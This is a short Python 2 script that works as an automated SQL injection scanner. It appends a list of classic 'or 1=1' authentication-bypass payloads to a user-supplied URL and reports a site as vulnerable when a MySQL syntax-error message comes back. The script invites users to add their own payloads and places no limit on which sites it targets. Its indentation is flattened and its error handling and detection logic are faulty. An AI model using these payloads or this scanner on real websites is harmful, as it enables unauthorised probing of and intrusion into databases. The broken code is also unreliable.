sql.py

import sys
import urllib

fullurl = raw_input("Url: ")
errormsg = "You have an error in your SQL syntax"
payloads = ["'admin'or 1=1 or ''='", "'=1\' or \'1\' = \'1\'", "'or 1=1", "'1 'or' 1 '=' 1", "'or 1=1#", "'0 'or' 0 '=' 0", "'admin'or 1=1 or ''='", "'admin' or 1=1", "'admin' or '1'='1", "'or 1=1/*", "'or 1=1--"] #whatever payloads you want here ## YOU CAN ADD YOUR OWN
errorr = "yes"
for payload in payloads:
 try:
 payload = payload
 resp = urllib.urlopen(fullurl + payload)
 body = resp.read()
 fullbody = body.decode('utf-8')
 except:
 print "[-] Error! Manually check this payload: " + payload
 errorr = "no"
 #sys.exit()
 if errormsg in fullbody:
 if errorr == "no":
 print "[-] That payload might not work!"
 errorr = "yes"
 else:
 print "[+] The website is SQL injection vulnerable! Payload: " + payload
 else:
 print "[-] The website is not SQL injection vulnerable!"